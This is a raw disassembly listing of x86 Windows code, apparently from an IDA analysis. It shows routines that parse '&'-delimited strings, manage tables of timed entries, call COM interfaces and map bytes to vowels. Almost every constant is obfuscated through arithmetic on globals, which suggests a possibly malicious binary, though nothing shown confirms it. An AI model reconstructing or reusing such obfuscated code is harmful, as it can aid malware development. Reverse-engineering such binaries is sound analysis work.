		jz	short loc_43C64E
		xor	eax, eax
		jmp	loc_43CC7A
; ---------------------------------------------------------------------------


loc_43C64E:				; CODE XREF: sub_43C5EA+5Bj
		lea	eax, [ebp+var_24]
		push	eax
		push	offset dword_44BA68
		mov	eax, [ebp+var_2C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44A208
		add	eax, dword_44A14C
		sub	eax, 0Bh
		cmp	ebx, eax
		jnz	loc_43CC6F
		lea	eax, [ebp+var_28]
		push	eax
		mov	eax, [ebp+var_24]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+24h]
		mov	ebx, eax
		mov	eax, dword_44A090
		movsx	edx, word_44A170
		add	eax, edx
		sub	eax, 5
		cmp	ebx, eax
		jnz	loc_43CC66
		and	[ebp+var_44], 0
		movsx	eax, word_44A264
		sub	eax, 9
		mov	[ebp+var_1C], eax
		jmp	loc_43CC5A
; ---------------------------------------------------------------------------


loc_43C6BC:				; CODE XREF: sub_43C5EA+676j
		mov	[ebp+var_18], 2
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_24]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_44A25C
		add	eax, dword_44A188
		sub	eax, 8
		cmp	ebx, eax
		jnz	loc_43CC57
		and	[ebp+var_10048], 0
		lea	eax, [ebp+var_10048]
		push	eax
		push	offset dword_44BA78
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		movsx	eax, word_44A0A4
		movsx	edx, word_44A1C0
		add	eax, edx
		sub	eax, 0Ah
		cmp	ebx, eax
		jnz	loc_43CC33
		cmp	[ebp+var_10048], 0
		jz	loc_43CC33
		lea	eax, [ebp+var_20]
		push	eax
		mov	eax, [ebp+var_10048]
		push	eax
		mov	edi, [eax]
		call	dword ptr [edi+0F8h]
		mov	ebx, eax
		or	ebx, ebx
		jnz	loc_43CC33
		lea	eax, [ebp+var_10043]
		push	eax
		push	[ebp+var_20]
		call	sub_43C434
		mov	eax, dword_44A288
		sub	eax, 5
		push	eax
		push	offset dword_447230
		lea	eax, [ebp+var_10043]
		push	eax
		call	sub_4384B5
		add	esp, 14h
		mov	edi, dword_44A280
		add	edi, 0FFFBh
		cmp	eax, edi
		jz	loc_43CC33
		cmp	[ebp+arg_4], 0
		jz	short loc_43C7D5
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax
		inc	eax
		jmp	loc_43CC7A
; ---------------------------------------------------------------------------


loc_43C7D5:				; CODE XREF: sub_43C5EA+1CCj
		and	[ebp+var_1007C], 0
		lea	eax, [ebp+var_1007C]
		push	eax
		push	offset dword_44BA98
		mov	eax, [ebp+var_4]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44A184
		movsx	edx, word_44A240
		add	eax, edx
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_43CC33
		mov	[ebp+var_10059], 44h
		push	offset byte_44B18B
		call	sub_43C507
		movsx	edi, word_44A0D8
		dec	edi
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_4384B5
		add	esp, 10h
		movsx	esi, word_44A0CC
		add	esi, 0FFF8h
		cmp	eax, esi
		jz	short loc_43C852
		mov	[ebp+var_10059], 43h


loc_43C852:				; CODE XREF: sub_43C5EA+25Fj
		push	offset byte_44B183
		call	sub_43C507
		movsx	edi, word_44A1FC
		sub	edi, 4
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_4384B5
		add	esp, 10h
		mov	esi, dword_44A0DC
		inc	esi
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_43C88E:				; CODE XREF: sub_43C5EA+2BAj
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_43C8A6
		inc	[ebp+var_10054]
		jmp	short loc_43C88E
; ---------------------------------------------------------------------------


loc_43C8A6:				; CODE XREF: sub_43C5EA+2B2j
		mov	eax, [ebp+var_10054]
		movsx	edx, word_44A150
		movsx	ecx, word_44A1F0
		add	edx, ecx
		sub	edx, 0Bh
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	ds:dword_444054
		mov	[ebp+var_10080], eax
		push	offset dword_44B17C
		call	sub_43C507
		movsx	edi, word_44A22C
		movsx	esi, word_44A260
		add	edi, esi
		sub	edi, 8
		push	edi
		push	eax
		lea	edi, [ebp+var_10043]
		push	edi
		call	sub_4384B5
		add	esp, 14h
		mov	esi, dword_44A214
		sub	esi, 6
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_10068], edi
		mov	[ebp+var_10054], edi


loc_43C927:				; CODE XREF: sub_43C5EA+353j
		mov	eax, [ebp+var_10054]
		cmp	[ebp+eax+var_10043], 26h
		jz	short loc_43C93F
		inc	[ebp+var_10054]
		jmp	short loc_43C927
; ---------------------------------------------------------------------------


loc_43C93F:				; CODE XREF: sub_43C5EA+34Bj
		mov	eax, [ebp+var_10054]
		mov	edx, dword_44A238
		mov	[ebp+eax+var_10043], dl
		mov	eax, [ebp+var_10068]
		lea	eax, [ebp+eax+var_10043]
		push	eax
		call	ds:dword_444054
		pop	ecx
		mov	[ebp+var_10060], eax
		movsx	eax, word_44A118
		sub	eax, 3
		cmp	[ebp+var_10080], eax
		ja	short loc_43C9EC
		movsx	eax, word_44A22C
		add	eax, dword_44A26C
		sub	eax, 10h
		mov	[ebp+var_1004C], eax
		jmp	short loc_43C9D8
; ---------------------------------------------------------------------------


loc_43C997:				; CODE XREF: sub_43C5EA+400j
		mov	edi, [ebp+var_1004C]
		mov	esi, edi
		shl	esi, 2
		cmp	ds:dword_445130[esi], 0
		jz	short loc_43C9D2
		mov	edx, [ebp+var_10060]
		cmp	ds:dword_444060[esi], edx
		jnz	short loc_43C9D2
		mov	dl, ds:byte_446200[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_43C9D2
		and	ds:dword_445130[edi*4],	0


loc_43C9D2:				; CODE XREF: sub_43C5EA+3C0j
					; sub_43C5EA+3CFj ...
		inc	[ebp+var_1004C]


loc_43C9D8:				; CODE XREF: sub_43C5EA+3ABj
		movsx	eax, word_44A178
		add	eax, 3E4h
		cmp	[ebp+var_1004C], eax
		jb	short loc_43C997


loc_43C9EC:				; CODE XREF: sub_43C5EA+393j
		call	ds:dword_449770	; GetTickCount
		mov	[ebp+var_10064], eax
		mov	eax, dword_44A280
		sub	eax, 4
		mov	[ebp+var_10050], eax
		jmp	short loc_43CA59
; ---------------------------------------------------------------------------


loc_43CA08:				; CODE XREF: sub_43C5EA+47Fj
		mov	edi, [ebp+var_10050]
		shl	edi, 2
		cmp	ds:dword_445130[edi], 0
		jz	short loc_43CA53
		mov	edi, ds:dword_448660[edi]
		movsx	esi, word_44A104
		add	esi, 0EA58h
		mov	edx, dword_44A134
		sub	edx, 3
		imul	esi, edx
		add	edi, esi
		cmp	edi, [ebp+var_10064]
		jnb	short loc_43CA53
		mov	edi, [ebp+var_10050]
		and	ds:dword_445130[edi*4],	0


loc_43CA53:				; CODE XREF: sub_43C5EA+42Fj
					; sub_43C5EA+459j
		inc	[ebp+var_10050]


loc_43CA59:				; CODE XREF: sub_43C5EA+41Cj
		mov	eax, dword_44A200
		add	eax, 3E3h
		cmp	[ebp+var_10050], eax
		jb	short loc_43CA08
		movsx	eax, word_44A264
		movsx	edx, word_44A180
		add	eax, edx
		sub	eax, 0Dh
		mov	[ebp+var_10058], eax
		jmp	short loc_43CA9C
; ---------------------------------------------------------------------------


loc_43CA86:				; CODE XREF: sub_43C5EA+4C2j
		mov	edi, [ebp+var_10058]
		cmp	ds:dword_445130[edi*4],	0
		jz	short loc_43CAAE
		inc	[ebp+var_10058]


loc_43CA9C:				; CODE XREF: sub_43C5EA+49Aj
		mov	eax, dword_44A20C
		add	eax, 3E2h
		cmp	[ebp+var_10058], eax
		jb	short loc_43CA86


loc_43CAAE:				; CODE XREF: sub_43C5EA+4AAj
		mov	edi, [ebp+var_10058]
		mov	esi, [ebp+var_10060]
		mov	ds:dword_444060[edi*4],	esi
		mov	eax, edi
		mov	dl, [ebp+var_10059]
		mov	ds:byte_446200[eax], dl
		movsx	eax, word_44A100
		sub	eax, 3
		cmp	[ebp+var_10080], eax
		jbe	loc_43CB83
		movsx	esi, word_44A0B0
		add	esi, 0FFF8h
		mov	ds:word_446A50[edi*2], si
		mov	eax, dword_44A204
		dec	eax
		mov	[ebp+var_10088], eax
		jmp	short loc_43CB66
; ---------------------------------------------------------------------------


loc_43CB09:				; CODE XREF: sub_43C5EA+595j
		mov	edi, [ebp+var_10088]
		mov	esi, edi
		shl	esi, 2
		cmp	ds:dword_445130[esi], 0
		jz	short loc_43CB60
		movzx	edx, ds:word_446A50[edi*2]
		mov	ecx, dword_44A284
		add	ecx, 0FFF6h
		cmp	edx, ecx
		jz	short loc_43CB60
		mov	edx, [ebp+var_10060]
		cmp	ds:dword_444060[esi], edx
		jnz	short loc_43CB60
		mov	dl, ds:byte_446200[edi]
		cmp	dl, [ebp+var_10059]
		jnz	short loc_43CB60
		lea	edi, ds:446A50h[edi*2]
		inc	word ptr [edi]
		jmp	short loc_43CB9A
; ---------------------------------------------------------------------------


loc_43CB60:				; CODE XREF: sub_43C5EA+532j
					; sub_43C5EA+54Aj ...
		inc	[ebp+var_10088]


loc_43CB66:				; CODE XREF: sub_43C5EA+51Dj
		mov	eax, dword_44A1F4
		add	eax, 3DEh
		movsx	edx, word_44A230
		add	eax, edx
		cmp	[ebp+var_10088], eax
		jb	short loc_43CB09
		jmp	short loc_43CB9A
; ---------------------------------------------------------------------------


loc_43CB83:				; CODE XREF: sub_43C5EA+4F6j
		mov	edi, [ebp+var_10058]
		mov	esi, dword_44A284
		sub	esi, 8
		mov	ds:word_446A50[edi*2], si


loc_43CB9A:				; CODE XREF: sub_43C5EA+574j
					; sub_43C5EA+597j
		call	ds:dword_449770	; GetTickCount
		mov	edi, [ebp+var_10058]
		mov	ds:dword_448660[edi*4],	eax
		lea	esi, off_44A354
		mov	ds:dword_445130[edi*4],	esi
		mov	edi, [ebp+var_10058]
		lea	edi, ds:445130h[edi*4]
		mov	[ebp+var_10084], edi
		mov	eax, edi
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+4]
		mov	[ebp+var_10078], 9
		mov	edi, [ebp+var_10058]
		lea	edi, ds:445130h[edi*4]
		mov	[ebp+var_10070], edi
		lea	esi, [ebp+var_10078]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_1007C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+0A4h]
		mov	ebx, eax
		inc	[ebp+var_10058]
		lea	eax, [ebp+var_10078]
		push	eax
		call	ds:dword_449BB0
		mov	eax, [ebp+var_1007C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43CC33:				; CODE XREF: sub_43C5EA+158j
					; sub_43C5EA+165j ...
		cmp	[ebp+var_10048], 0
		jz	short loc_43CC48
		mov	eax, [ebp+var_10048]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43CC48:				; CODE XREF: sub_43C5EA+650j
		cmp	[ebp+var_4], 0
		jz	short loc_43CC57
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43CC57:				; CODE XREF: sub_43C5EA+11Bj
					; sub_43C5EA+662j
		inc	[ebp+var_1C]


loc_43CC5A:				; CODE XREF: sub_43C5EA+CDj
		mov	eax, [ebp+var_28]
		cmp	[ebp+var_1C], eax
		jb	loc_43C6BC


loc_43CC66:				; CODE XREF: sub_43C5EA+B6j
		mov	eax, [ebp+var_24]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_43CC6F:				; CODE XREF: sub_43C5EA+8Ej
		mov	eax, [ebp+var_2C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]
		xor	eax, eax


loc_43CC7A:				; CODE XREF: sub_43C5EA+5Fj
					; sub_43C5EA+1E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43C5EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_43CC7F	proc near		; DATA XREF: .data:0044A380o
		mov	eax, 80004001h
		retn	8
sub_43CC7F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CC87	proc near		; CODE XREF: sub_440F46+346p
					; sub_440F46+440p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	edi, dword_44A1CC
		sub	edi, 6
		cmp	edx, edi
		jnz	short loc_43CCAB
		mov	eax, [ebp+arg_0]
		jmp	short loc_43CCC5
; ---------------------------------------------------------------------------


loc_43CCAB:				; CODE XREF: sub_43CC87+1Dj
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		div	esi
		mov	[ebp+var_8], eax
		mov	edi, eax
		mul	esi
		mov	[ebp+var_C], eax
		mov	edi, eax
		add	edi, esi
		mov	[ebp+var_4], edi
		mov	eax, edi


loc_43CCC5:				; CODE XREF: sub_43CC87+22j
		pop	edi
		pop	esi
		leave
		retn
sub_43CC87	endp


; =============== S U B	R O U T	I N E =======================================



sub_43CCC9	proc near		; CODE XREF: sub_440511+259p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	ecx, esi
		mov	eax, dword_44A154
		movsx	edx, word_44A098
		add	eax, edx
		sub	eax, 2
		cmp	ecx, eax
		jge	short loc_43CD1F
		mov	eax, dword_44A0C4
		movsx	edx, word_44A1F0
		add	eax, edx
		sub	eax, 5
		imul	ecx, eax
		mov	eax, dword_44A09C
		sub	eax, 4
		mov	edx, esi
		add	edx, eax
		movsx	eax, word_44A27C
		add	eax, dword_44A15C
		sub	eax, 9
		imul	edx, eax
		sub	ecx, edx
		jmp	loc_43CE5C
; ---------------------------------------------------------------------------


loc_43CD1F:				; CODE XREF: sub_43CCC9+1Aj
		dec	ecx
		mov	eax, dword_44A09C
		add	eax, 0Eh
		add	eax, dword_44A0AC
		cmp	ecx, eax
		jge	short loc_43CD5F
		movsx	eax, word_44A1E0
		add	eax, dword_44A0AC
		sub	eax, 2
		imul	ecx, eax
		mov	eax, ecx
		sub	eax, esi
		mov	edx, dword_44A1BC
		inc	edx
		add	edx, dword_44A1A0
		mov	ecx, eax
		sub	ecx, edx
		jmp	loc_43CE5C
; ---------------------------------------------------------------------------


loc_43CD5F:				; CODE XREF: sub_43CCC9+67j
		dec	ecx
		movsx	eax, word_44A0E0
		mov	edx, dword_44A14C
		lea	eax, [eax+edx+1Bh]
		cmp	ecx, eax
		jge	short loc_43CD97
		movsx	eax, word_44A0A4
		add	eax, dword_44A234
		sub	eax, 7
		imul	ecx, eax
		mov	eax, dword_44A158
		add	eax, 39h
		sub	ecx, eax
		jmp	loc_43CE5C
; ---------------------------------------------------------------------------


loc_43CD97:				; CODE XREF: sub_43CCC9+AAj
		dec	ecx
		mov	eax, dword_44A154
		add	eax, 1Dh
		cmp	ecx, eax
		jge	short loc_43CDC4
		movsx	eax, word_44A16C
		inc	eax
		imul	ecx, eax
		mov	eax, dword_44A0C4
		add	eax, 39h
		add	eax, dword_44A0D4
		sub	ecx, eax
		jmp	loc_43CE5C
; ---------------------------------------------------------------------------


loc_43CDC4:				; CODE XREF: sub_43CCC9+D9j
		dec	ecx
		movsx	eax, word_44A1E0
		mov	edx, dword_44A0B4
		lea	eax, [eax+edx+21h]
		cmp	ecx, eax
		jge	short loc_43CE02
		movsx	eax, word_44A264
		add	eax, dword_44A114
		sub	eax, 0Fh
		imul	ecx, eax
		movsx	eax, word_44A174
		mov	edx, dword_44A138
		lea	eax, [eax+edx+4Dh]
		sub	ecx, eax
		jmp	short loc_43CE5C
; ---------------------------------------------------------------------------


loc_43CE02:				; CODE XREF: sub_43CCC9+10Fj
		dec	ecx
		mov	eax, dword_44A1EC
		add	eax, 2Eh
		cmp	ecx, eax
		jge	short loc_43CE28
		mov	eax, dword_44A10C
		sub	eax, 4
		imul	ecx, eax
		movsx	eax, word_44A0B0
		add	eax, 63h
		sub	ecx, eax
		jmp	short loc_43CE5C
; ---------------------------------------------------------------------------


loc_43CE28:				; CODE XREF: sub_43CCC9+144j
		dec	ecx
		mov	eax, dword_44A198
		add	eax, 37h
		cmp	ecx, eax
		jge	short loc_43CE4C
		mov	eax, dword_44A11C
		sub	eax, 3
		imul	ecx, eax
		mov	eax, dword_44A17C
		add	eax, 6Bh
		sub	ecx, eax
		jmp	short loc_43CE5C
; ---------------------------------------------------------------------------


loc_43CE4C:				; CODE XREF: sub_43CCC9+16Aj
		mov	eax, dword_44A18C
		add	eax, 34h
		add	eax, dword_44A120
		sub	ecx, eax


loc_43CE5C:				; CODE XREF: sub_43CCC9+51j
					; sub_43CCC9+91j ...
		mov	eax, ecx
		pop	esi
		retn
sub_43CCC9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CE60	proc near		; DATA XREF: .data:0044A3A0o
		push	ebp
		mov	ebp, esp
		movsx	eax, word_44A1C0
		sub	eax, 4
		cmp	ds:dword_446608, eax
		jbe	short loc_43CE80
		push	offset dword_446608
		call	ds:dword_444010	; InterlockedDecrement


loc_43CE80:				; CODE XREF: sub_43CE60+13j
		mov	eax, ds:dword_446608
		pop	ebp
		retn	4
sub_43CE60	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43CE89	proc near		; DATA XREF: .data:0044A36Co

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	esi, [ebp+arg_0]
		mov	eax, [ebp+arg_10]
		mov	word ptr [ebp+arg_10], ax
		movsx	eax, word_44A22C
		add	eax, 3
		cmp	ds:dword_446620, eax
		jnb	short loc_43CEB9
		mov	eax, dword_44A258
		sub	eax, 2
		mov	ds:dword_446620, eax


loc_43CEB9:				; CODE XREF: sub_43CE89+21j
		mov	eax, dword_44A280
		mov	edi, eax
		add	edi, dword_44A210
		sub	edi, 5
		jmp	short loc_43CED7
; ---------------------------------------------------------------------------


loc_43CECB:				; CODE XREF: sub_43CE89+5Aj
		lea	ebx, ds:445130h[edi*4]
		cmp	esi, ebx
		jz	short loc_43CEE5
		inc	edi


loc_43CED7:				; CODE XREF: sub_43CE89+40j
		mov	eax, dword_44A0F4
		add	eax, 3E1h
		cmp	edi, eax
		jb	short loc_43CECB


loc_43CEE5:				; CODE XREF: sub_43CE89+4Bj
		mov	eax, dword_44A094
		add	eax, 3DCh
		movsx	edx, word_44A230
		add	eax, edx
		cmp	edi, eax
		jnz	short loc_43CF03
		xor	eax, eax
		jmp	loc_43D051
; ---------------------------------------------------------------------------


loc_43CF03:				; CODE XREF: sub_43CE89+71j
		movzx	esi, ds:word_446A50[edi*2]
		mov	ebx, dword_44A0AC
		movsx	edx, word_44A27C
		add	ebx, edx
		sub	ebx, 4
		cmp	esi, ebx
		jnz	short loc_43CF48
		movzx	eax, ds:byte_446200[edi]
		push	eax
		push	ds:dword_444060[edi*4]
		call	sub_44243E
		add	esp, 8
		and	ds:dword_445130[edi*4],	0
		xor	eax, eax
		jmp	loc_43D051
; ---------------------------------------------------------------------------


loc_43CF48:				; CODE XREF: sub_43CE89+96j
		movzx	esi, ds:word_446A50[edi*2]
		mov	ebx, dword_44A15C
		add	ebx, 0FFF6h
		cmp	esi, ebx
		jnz	loc_43D02F
		mov	eax, dword_44A110
		movsx	edx, word_44A0D8
		add	eax, edx
		sub	eax, 7
		mov	[ebp+var_4], eax
		jmp	loc_43D018
; ---------------------------------------------------------------------------


loc_43CF7D:				; CODE XREF: sub_43CE89+19Cj
		mov	esi, [ebp+var_4]
		mov	ebx, esi
		shl	ebx, 2
		cmp	ds:dword_445130[ebx], 0
		jz	loc_43D015
		movzx	edx, ds:word_446A50[esi*2]
		movsx	ecx, word_44A0C0
		add	ecx, 0FFFDh
		cmp	edx, ecx
		jz	short loc_43D015
		mov	edx, ds:dword_444060[edi*4]
		cmp	ds:dword_444060[ebx], edx
		jnz	short loc_43D015
		mov	bl, ds:byte_446200[esi]
		cmp	bl, ds:byte_446200[edi]
		jnz	short loc_43D015
		movzx	esi, ds:word_446A50[esi*2]
		mov	ebx, dword_44A09C
		sub	ebx, 4
		cmp	esi, ebx
		jnz	short loc_43D006
		mov	esi, [ebp+var_4]
		movzx	ebx, ds:byte_446200[esi]
		push	ebx
		push	ds:dword_444060[esi*4]
		call	sub_44243E
		add	esp, 8
		and	ds:dword_445130[edi*4],	0
		jmp	short loc_43D02B
; ---------------------------------------------------------------------------


loc_43D006:				; CODE XREF: sub_43CE89+156j
		mov	esi, [ebp+var_4]
		lea	esi, ds:446A50h[esi*2]
		dec	word ptr [esi]
		jmp	short loc_43D02B
; ---------------------------------------------------------------------------


loc_43D015:				; CODE XREF: sub_43CE89+104j
					; sub_43CE89+121j ...
		inc	[ebp+var_4]


loc_43D018:				; CODE XREF: sub_43CE89+EFj
		mov	eax, dword_44A28C
		add	eax, 3E2h
		cmp	[ebp+var_4], eax
		jb	loc_43CF7D


loc_43D02B:				; CODE XREF: sub_43CE89+17Bj
					; sub_43CE89+18Aj
		xor	eax, eax
		jmp	short loc_43D051
; ---------------------------------------------------------------------------


loc_43D02F:				; CODE XREF: sub_43CE89+D5j
		movzx	esi, ds:word_446A50[edi*2]
		mov	ebx, dword_44A274
		add	ebx, dword_44A18C
		cmp	esi, ebx
		jle	short loc_43D04F
		dec	ds:word_446A50[edi*2]


loc_43D04F:				; CODE XREF: sub_43CE89+1BCj
		xor	eax, eax


loc_43D051:				; CODE XREF: sub_43CE89+75j
					; sub_43CE89+BAj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	24h
sub_43CE89	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D058	proc near		; CODE XREF: sub_43B523+B8p
					; sub_43B622+1CDp ...

var_EF38	= dword	ptr -0EF38h
var_EF34	= dword	ptr -0EF34h
var_EF30	= dword	ptr -0EF30h
var_EF2C	= byte ptr -0EF2Ch
var_EF2B	= byte ptr -0EF2Bh
var_EE2C	= dword	ptr -0EE2Ch
var_EE24	= byte ptr -0EE24h
arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		mov	eax, 0EF38h
		call	sub_442F6C
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_44A288
		movsx	esi, word_44A160
		add	edi, esi
		imul	edi, 3C0h
		sub	edi, 12C0h
		movsx	esi, word_44A1C0
		lea	edi, [edi+esi+0EA5Ch]
		shl	edi, 1
		mov	[ebp+var_EF38],	edi
		push	edi
		call	sub_442EF1
		add	esp, 4
		mov	[ebp+var_EE2C],	eax
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44A200
		add	edx, dword_44A0A0
		sub	edx, 8
		cmp	eax, edx
		jnz	short loc_43D0E2
		push	offset asc_44B171 ; "\a"
		call	sub_43C507
		add	esp, 4
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_449634
		add	esp, 8
		jmp	loc_43D1F0
; ---------------------------------------------------------------------------


loc_43D0E2:				; CODE XREF: sub_43D058+65j
		call	ds:dword_447228
		mov	ebx, eax
		mov	[ebp+var_EF2C],	bl
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44A164
		add	edx, dword_44A0C4
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_43D15F
		mov	eax, dword_44A0F0
		add	eax, 6
		add	eax, dword_44A18C
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	[ebp+arg_8]
		call	sub_440AF2
		add	esp, 0Ch
		push	offset asc_44B141 ; ","
		call	sub_43C507
		add	esp, 4
		movzx	edi, [ebp+var_EF2C]
		push	edi
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_449634
		add	esp, 10h
		jmp	loc_43D1F0
; ---------------------------------------------------------------------------


loc_43D15F:				; CODE XREF: sub_43D058+ADj
		mov	eax, dword_44A194
		sub	eax, 9
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_EF2B]
		push	eax
		push	dword_44A370
		call	sub_440AF2
		add	esp, 0Ch
		push	offset a_	; "_"
		call	sub_43C507
		add	esp, 4
		mov	edi, [ebp+arg_18]
		mov	esi, [ebp+arg_8]
		mov	ebx, edi
		add	ebx, esi
		push	ebx
		movsx	ebx, word_44A1DC
		movsx	edx, word_44A170
		add	ebx, edx
		dec	ebx
		push	ebx
		push	[ebp+arg_1C]
		push	edi
		push	[ebp+arg_14]
		movzx	edi, [ebp+var_EF2C]
		push	edi
		mov	edi, esi
		sub	edi, [ebp+arg_C]
		movsx	esi, word_44A104
		sub	esi, 4
		sub	edi, esi
		push	edi
		push	offset dword_447230
		push	[ebp+arg_10]
		push	[ebp+arg_20]
		lea	edi, [ebp+var_EF2B]
		push	edi
		push	eax
		lea	edi, [ebp+var_EE24]
		push	edi
		call	ds:dword_449634
		add	esp, 34h


loc_43D1F0:				; CODE XREF: sub_43D058+85j
					; sub_43D058+102j
		push	[ebp+var_EF38]
		push	[ebp+var_EE2C]
		movsx	eax, word_44A130
		movsx	edx, word_44A16C
		add	eax, edx
		sub	eax, 3
		neg	eax
		push	eax
		lea	eax, [ebp+var_EE24]
		push	eax
		mov	eax, dword_44A21C
		sub	eax, 8
		push	eax
		push	0
		call	ds:dword_449640	; MultiByteToWideChar
		push	offset asc_44B0C4 ; "\t"
		call	sub_43F767
		add	esp, 4
		push	eax
		call	ds:dword_444044
		mov	[ebp+var_EF30],	eax
		push	[ebp+var_EE2C]
		call	ds:dword_444044
		mov	[ebp+var_EF34],	eax
		push	eax
		push	[ebp+var_EF30]
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ebx, [eax]
		call	dword ptr [ebx+104h]
		push	[ebp+var_EF34]
		call	ds:dword_449BA0
		push	[ebp+var_EF30]
		call	ds:dword_449BA0
		lea	esp, [ebp-0EF44h]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_43D058	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_43D28C	proc near		; CODE XREF: sub_43ABE3+B6p
					; sub_43ABE3+EDp ...

var_4		= dword	ptr -4
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	edi
		movzx	eax, [ebp+arg_0]
		mov	ecx, 2Bh
		mov	edx, 2FA0BE83h
		mul	edx
		shr	edx, 3
		mov	[ebp+var_4], edx
		mov	edi, edx
		mov	ebx, edi
		mov	[ebp+arg_0], bl
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44A280
		sub	edx, 4
		cmp	eax, edx
		jnz	short loc_43D2CA
		mov	eax, 65h
		jmp	loc_43D353
; ---------------------------------------------------------------------------


loc_43D2CA:				; CODE XREF: sub_43D28C+32j
		movzx	eax, [ebp+arg_0]
		movsx	edx, word_44A0CC
		sub	edx, 6
		cmp	eax, edx
		jnz	short loc_43D2E3
		mov	eax, 79h
		jmp	short loc_43D353
; ---------------------------------------------------------------------------


loc_43D2E3:				; CODE XREF: sub_43D28C+4Ej
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44A20C
		add	edx, dword_44A120
		sub	edx, 9
		cmp	eax, edx
		jnz	short loc_43D301
		mov	eax, 75h
		jmp	short loc_43D353
; ---------------------------------------------------------------------------


loc_43D301:				; CODE XREF: sub_43D28C+6Cj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44A1E4
		add	edx, dword_44A274
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43D31F
		mov	eax, 69h
		jmp	short loc_43D353
; ---------------------------------------------------------------------------


loc_43D31F:				; CODE XREF: sub_43D28C+8Aj
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44A28C
		add	edx, dword_44A25C
		sub	edx, 0Ah
		cmp	eax, edx
		jnz	short loc_43D33D
		mov	eax, 6Fh
		jmp	short loc_43D353
; ---------------------------------------------------------------------------


loc_43D33D:				; CODE XREF: sub_43D28C+A8j
		movzx	eax, [ebp+arg_0]
		mov	edx, dword_44A154
		sub	edx, 2
		cmp	eax, edx
		jnz	short loc_43D353
		mov	eax, 61h


loc_43D353:				; CODE XREF: sub_43D28C+39j
					; sub_43D28C+55j ...
		pop	edi
		pop	ebx
		leave
		retn
sub_43D28C	endp


